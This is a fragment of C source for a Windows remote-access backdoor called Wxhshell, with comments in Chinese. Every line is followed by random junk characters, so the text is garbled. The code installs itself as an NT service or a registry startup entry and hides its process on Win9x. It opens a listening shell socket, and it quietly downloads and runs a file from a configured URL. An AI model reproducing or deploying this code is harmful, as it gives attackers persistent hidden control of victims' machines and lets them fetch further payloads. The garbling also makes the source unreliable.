ULONG UniqueProcessId; 8}w6z7e|{
ULONG InheritedFromUniqueProcessId; w:'dhr':
} PROCESS_BASIC_INFORMATION; Ap{}^
G|8%qd
PROCNTQSIP NtQueryInformationProcess; .WQ<jZt>
,<DB&&EV8
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CQ;]J=|<_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A8A~!2V
oUQ07z\C
HANDLE hProcess; @Mvd'.r<;
PROCESS_BASIC_INFORMATION pbi; i
ZL2p>
c"!lwm3b
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 09o~9z0
if(NULL == hInst ) return 0; d*pF> j
aCV4AyG
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L!_ZY
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;v
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;@h0qRXW:h
:R):b
if (!NtQueryInformationProcess) return 0; pdd/D
#E0t?:t5bk
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fA48(0p
if(!hProcess) return 0; fri0XxF
mW%?>Z1=>d
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2wqk,c[]
YC]L)eafo`
CloseHandle(hProcess); ":3 VJ(eY
N)% ;jh:T
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w#i[_
if(hProcess==NULL) return 0; ZDL']*)'
U}Hwto`R
HMODULE hMod; x ]5@>5
char procName[255]; ]\RRqLDzkg
unsigned long cbNeeded; FZiW|G
A|}l)!%
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '2zL.:~
x( mE<UQN
CloseHandle(hProcess); *]J dHO
7t9c7HLuj/
if(strstr(procName,"services")) return 1; // 以服务启动 gqib:q;r
e$c?}3E!z
return 0; // 注册表启动 6I_Hd>4
} N?dvuB
{5*|C-WWtG
// 主模块 bU 63X={
int StartWxhshell(LPSTR lpCmdLine) 0^'B3$>
{ 0i[zup
SOCKET wsl; \bCX=E-
BOOL val=TRUE; 8
6QE/M
int port=0; @+U,Nzd
struct sockaddr_in door; @&1Wyp
9@$,oM=
if(wscfg.ws_autoins) Install(); N^VD=<#T
/RLq>#:h**
port=atoi(lpCmdLine); `nR %Cav,U
CBf7]n0H
if(port<=0) port=wscfg.ws_port; CLKov\U\
CGw--`#\
WSADATA data; &@"]+33
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?B.~AUN
nA>sHy
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }2)DPP:ic
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iV.p5FD
door.sin_family = AF_INET; 6)]f6p&e
door.sin_addr.s_addr = inet_addr("127.0.0.1"); }wSi~^*
door.sin_port = htons(port); h!&sNzX
PU9`<3z5
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <I;*[;AK
closesocket(wsl); U3vEdw<lV
return 1; YEjY8]t
} z1 i &Ge
(B>Zaro#
if(listen(wsl,2) == INVALID_SOCKET) { 0@1:M
closesocket(wsl); ZA#y)z8!E
return 1; wN37zPnV~
} 5TBI<K
Wxhshell(wsl); :&'{mJW*{t
WSACleanup(); u"$a>S_
J3S&3+2G
return 0; r0m)j
5CJZw3q
} vd#,DU=p!
2>S~I"o0
// 以NT服务方式启动 ?3sT"r_d@
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MWuXI1
{ d_}a`H
DWORD status = 0; HW=xvA+
DWORD specificError = 0xfffffff; "C%!8`K{a*
cTZ)"^z!
serviceStatus.dwServiceType = SERVICE_WIN32; b'>8ZIY
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;i#LIHJ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \9)[#Ld
serviceStatus.dwWin32ExitCode = 0; <2
serviceStatus.dwServiceSpecificExitCode = 0; ?BCy J
serviceStatus.dwCheckPoint = 0; MBk"KF
serviceStatus.dwWaitHint = 0; #`GbHxd
}F`beoMAkM
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <l\N|+7R
if (hServiceStatusHandle==0) return; [UPNd!sy
X=qS"O 1
status = GetLastError(); P`s(kIe
if (status!=NO_ERROR) Ri:p8
{ DOD6Liau{Q
serviceStatus.dwCurrentState = SERVICE_STOPPED; }IUP5O6
serviceStatus.dwCheckPoint = 0; <z#BsnjW{
serviceStatus.dwWaitHint = 0; Zcd7*EBdx
serviceStatus.dwWin32ExitCode = status; twqFs
serviceStatus.dwServiceSpecificExitCode = specificError; zCXqBuvu1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZcPUtun
return; m^!Sv?hV
} yYAnwf
}$&WC:Lg
serviceStatus.dwCurrentState = SERVICE_RUNNING; s*,cF6
serviceStatus.dwCheckPoint = 0; eVnbRT2y&
serviceStatus.dwWaitHint = 0; si/er"&o
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qc!xW,I
} 4sY[az
l^ 4OC
// 处理NT服务事件,比如:启动、停止 &R]pw`mTH
VOID WINAPI NTServiceHandler(DWORD fdwControl) f[/.I,9U^
{ H$!-f>Rxa
switch(fdwControl) 'ND36jHcRD
{ C@dGWAG
case SERVICE_CONTROL_STOP: F%6*Df;cSe
serviceStatus.dwWin32ExitCode = 0; #0MK(Ut/
serviceStatus.dwCurrentState = SERVICE_STOPPED; `6 Y33bQ
serviceStatus.dwCheckPoint = 0; *M!kA65'
serviceStatus.dwWaitHint = 0; `ENP=kL(+
{ ./maY1>T
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9EgP9up{6!
} I{n;4?
return; jW5iqU"{*
case SERVICE_CONTROL_PAUSE: +BB0wY
serviceStatus.dwCurrentState = SERVICE_PAUSED; eYP=T+
break; @[r ={s\
case SERVICE_CONTROL_CONTINUE: dt-K
serviceStatus.dwCurrentState = SERVICE_RUNNING; QJ<[Zx
break; n! .2aq
case SERVICE_CONTROL_INTERROGATE: H/i<_L P
break; <Ry$7t,
}; u7k|7e=xk
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jirct,k
} 4]6 Qr
7~.ZE
// 标准应用程序主函数 {;RF
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^tE_LL+ji|
{ Z H-5Qy_
:::>ro*R
// 获取操作系统版本 5-p.MGso
OsIsNt=GetOsVer(); CX+9R3pa
GetModuleFileName(NULL,ExeFile,MAX_PATH); g3rRhS
7z<Cu<
// 从命令行安装 QFzFL-H~N
if(strpbrk(lpCmdLine,"iI")) Install(); x}"Q8kD
x YT}>#[
// 下载执行文件 3_J>y
if(wscfg.ws_downexe) { +Jw{qQR/*
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i| xt f
WinExec(wscfg.ws_filenam,SW_HIDE); aF])"9
} 6GOg_P
$r"A@69^RS
if(!OsIsNt) { wW()Zy0)
// 如果时win9x,隐藏进程并且设置为注册表启动 xKW"X
HideProc(); "-U3=+
StartWxhshell(lpCmdLine); ~PYFYjHC
} F"BL#g66
else .}p|`3$P
if(StartFromService()) G^KC&
// 以服务方式启动 @^wpAQfd4
StartServiceCtrlDispatcher(DispatchTable); ('BLU.7IX
else 9r8D*PvS
// 普通方式启动 G7Ny"{Z
StartWxhshell(lpCmdLine); [aNhP;<
~u2w`H?V
return 0;
Ars,V3ep
}